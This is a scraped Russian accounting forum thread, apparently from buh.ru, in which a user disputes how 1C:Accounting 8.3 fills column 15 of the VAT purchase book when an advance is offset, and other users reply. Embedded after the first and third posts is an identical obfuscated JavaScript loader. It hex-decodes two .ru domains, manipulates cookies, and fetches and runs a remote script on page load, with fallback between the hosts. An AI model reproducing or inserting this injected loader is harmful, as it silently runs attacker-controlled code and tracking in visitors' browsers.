Бухгалтерский учет, налогообложение, отчетность, МСФО, анализ бухгалтерской информации, 1С:Бухгалтерия

Вход или Регистрация

Показывать по 10 20 40 сообщений
Новая тема Ответить
Письмо в техподдержку 1С
[1С:Предприятие 7.7]

Заполнение гр.15 Книги покупок у поставщика, при реализации с аванса

Наталья Ильина
Пост №1
Наталья Ильина
читатель
офлайн
Дата регистрации: 26.08.2015
Сообщений: 4
Пост №1
 
27.08.2015 10:14

Здравствуйте! Учет ведется в 1С 8.3 Бухгалтерия предприятия, редакция 3.0 (3.0.40.37)
Вопрос: заполнение гр.15 книги покупок при зачете аванса у поставшика.
По общему правилу при получении предоплаты в счет будущих поставок налогоплательщик-продавец исчисляет "авансовый" НДС (с применением расчетной ставки) и в течение пяти календарных дней выставляет покупателю счет-фактуру в соответствии с требованиями п. 5.1 ст. 169 НК РФ (абз. 2 п. 1 ст. 154, п. 4 ст. 164, пп. 2 п. 1 ст. 167, п. 3 ст. 168 НК РФ).
"Авансовый" счет-фактура регистрируется в книге продаж (п. 3, 17 Правил ведения книги продаж).
На день отгрузки у налогоплательщика вновь возникают объект налогообложения и обязанность выставить (в течение пяти календарных дней) счет-фактуру в соответствии с требованиями п. 5 ст. 169 НК РФ (п. 14 ст. 167, п. 3 ст. 168 НК РФ). "Отгрузочный" счет-фактура отражается в книге продаж на основании п. 3 Правил ведения книги продаж.
Пример
Сумма поступившего в организацию (в январе текущего года) аванса - 1 180 000 руб. (в том числе НДС). В мае поставщик отгрузил товары на сумму 472 000 руб. (в том числе НДС - 72 000 руб.). Из-за отсутствия в ассортименте нужного товара отправка второй партии отсрочена.
Одновременно сумму "авансового" НДС поставщик вправе принять к вычету (п. 8 ст. 171, п. 6 ст. 172 НК РФ) в размере налога, исчисленного со стоимости отгруженных товаров. Для этих целей "авансовый" счет-фактура на дату отгрузки регистрируется в книге покупок (п. 22 Правил ведения книги покупок*(2)).
В бухгалтерском учете указанная операция будет сопровождена следующими записями:

       Содержание операций            Дебет       Кредит Сумма, руб.
                              Январь 2015
Отражено получение аванса под       51            62-2      1 180 000
предстоящую поставку
Начислен "авансовый" НДС             76-ав.НДС 68-НДС       180 000
(1 180 000 руб. х 18 / 118)      
Уплачена 1/3 суммы начисленного       68-НДС       51       60 000
"авансового" НДС
                               Май 2015 года
Отгружен товар                         62-1       90-1      472 000
Начислен НДС с реализации             90-3       68       72 000
Принят к вычету "авансовый" НДС       68-НДС 76-ав.НДС 72 000
Зачтена часть аванса, приходящаяся на 62-2       62-1      472 000
реализацию
"Авансовый" счет-фактуру бухгалтер зарегистрирует в книге продаж в январе. "Отгрузочный" счет-фактуру (на сумму 472 000 руб., в том числе НДС - 72 000 руб.) - в мае. Одновременно организация внесет данные в книгу покупок с номером счета-фактуры, который был выписан продавцом при получении аванса на эту же сумму (472 000 руб., в том числе НДС - 72 000 руб.).
А по версии 1С в книгу покупок за май в гр.15. попадает 1 180 000 руб., а не 472 000 руб., а НДС 72 000 руб.-как положено.
В одном ответе есть даже видеоролик с аналогичным результатом. Право на вычет в данной ситуации регламентируется п.22 II. Правила ведения книги покупок, применяемой при расчетах по налогу на добавленную стоимость. В п.6 п.п.т) правил «в графе 15 - стоимость товаров (работ, услуг), имущественных прав, указанная в графе 9 по строке "Всего к оплате" счета-фактуры, а в случае перечисления суммы оплаты, частичной оплаты в счет предстоящих поставок товаров (выполнения работ, оказания услуг), передачи имущественных прав - перечисленная сумма оплаты, частичной оплаты по счету-фактуре, включая налог на добавленную стоимость.» говорится о с/ф полученных покупателями и ничего не сказано про с/ф на предоплату-аванс , выставленную налогоплательщиком-поставщиком, который получил этот аванс. Учет реализации с аванса в отношении НДС не изменился. В связи с этим прошу изучить данный вопрос. Ведь в законе точно сказано- исчисленного со стоимости отгруженных товаров.,т.е. сумма 472 000 руб. В документе «Формирование книги покупок» ведь правильно суммы заполняются. А в сам отчет по моему мнению попадают не те суммы.
Наверное, написала сумбурно, прошу прощения. Этот вопрос интересует не только меня.window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20839",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("buh.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Ответили: пост №2
mpika
Пост №2
mpika
читатель
офлайн
Дата регистрации: 27.09.2010
Сообщений: 164
Пост №2
 
27.08.2015 10:22
Ответ на пост №1

Наталья Ильина,

Цитата
А по версии 1С в книгу
Вы сами прочтите что вы же сами и написали про гр 15.

Ответили: пост №3
Наталья Ильина
Пост №3
Наталья Ильина
читатель
офлайн
Дата регистрации: 26.08.2015
Сообщений: 4
Пост №3
 
27.08.2015 10:26
Ответ на пост №2

mpika,Считаете, нужно не в 1С обращаться, а к своему программисту? window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20839",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("buh.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Ответили: пост №4
mpika
Пост №4
mpika
читатель
офлайн
Дата регистрации: 27.09.2010
Сообщений: 164
Пост №4
 
27.08.2015 10:30
Ответ на пост №3

Наталья Ильина,
Не надо никуда обращаться. Просто прочтите то, что вы написали про гр 15.

Ответили: пост №5
Наталья Ильина
Пост №5
Наталья Ильина
читатель
офлайн
Дата регистрации: 26.08.2015
Сообщений: 4
Пост №5
 
27.08.2015 10:38
Ответ на пост №4

mpika,Я прочла.И речь идет о стоимость товаров (работ, услуг), имущественных прав, а о предоплате ни слова.

Ответили: пост №6
mpika
Пост №6
mpika
читатель
офлайн
Дата регистрации: 27.09.2010
Сообщений: 164
Пост №6
 
27.08.2015 13:27
Ответ на пост №5

Наталья Ильина,
а дальше что написано -"...а в случае перечисления суммы

или скажу так - 15 графу программа заполняет правильно.

Ответили: пост №7
Наталья Ильина
Пост №7
Наталья Ильина
читатель
офлайн
Дата регистрации: 26.08.2015
Сообщений: 4
Пост №7
 
27.08.2015 15:13
Ответ на пост №6

mpika, нет не правильно.

Ответили: пост №8
Tanya
Пост №8
Tanya
активный пользователь
офлайн
Дата регистрации: 03.12.2001
Сообщений: 8408
Пост №8
 
27.08.2015 17:52
Ответ на пост №7

Наталья Ильина,

Правильно. С 2015 изменилось

Показывать по 10 20 40 сообщений

Читают тему:

1 гостей
Быстрый переход
Представление регламентированной отчетности
  • Учет, налогообложение, автоматизация
  • Книга жалоб и предложений по работе сайта
  • Для технических специалистов
  • Представление регламентированной отчетности
  • Говорильня
  • Бухгалтерский учет: обсуждаем проекты нормативных актов и рекомендаций по ведению учета от БМЦ
  • Новый порядок применения ККТ (онлайн кассы с передачей сведений в ФНС)
  • Интернет-конференция: Оформление командировок по новым правилам
  • ЕГАИС
Предложения партнеров
Обучение пользователей продуктов 1С

1С бесплатно 1С-Отчетность 1С:ERP Управление предприятием 1С:Бесплатно 1С:Бухгалтерия 8 1С:Бухгалтерия 8 КОРП 1С:Бухгалтерия автономного учреждения 1С:Бухгалтерия государственного учреждения 1С:Бюджет муниципального образования 1С:Бюджет поселения 1С:Вещевое довольствие 1С:Деньги 1С:Документооборот 1С:Зарплата и кадры бюджетного учреждения 1С:Зарплата и кадры государственного учреждения 1С:Зарплата и управление персоналом 1С:Зарплата и управление персоналом КОРП 1С:Комплексная автоматизация 8 1С:Лекторий 1С:Предприятие 1С:Предприятие 7.7 1С:Предприятие 8 1С:Розница 1С:Управление нашей фирмой 1С:Управление производственным предприятием 1С:Управление торговлей 1СПредприятие 8

Все теги
© ООО "1C" 2000-2018 г.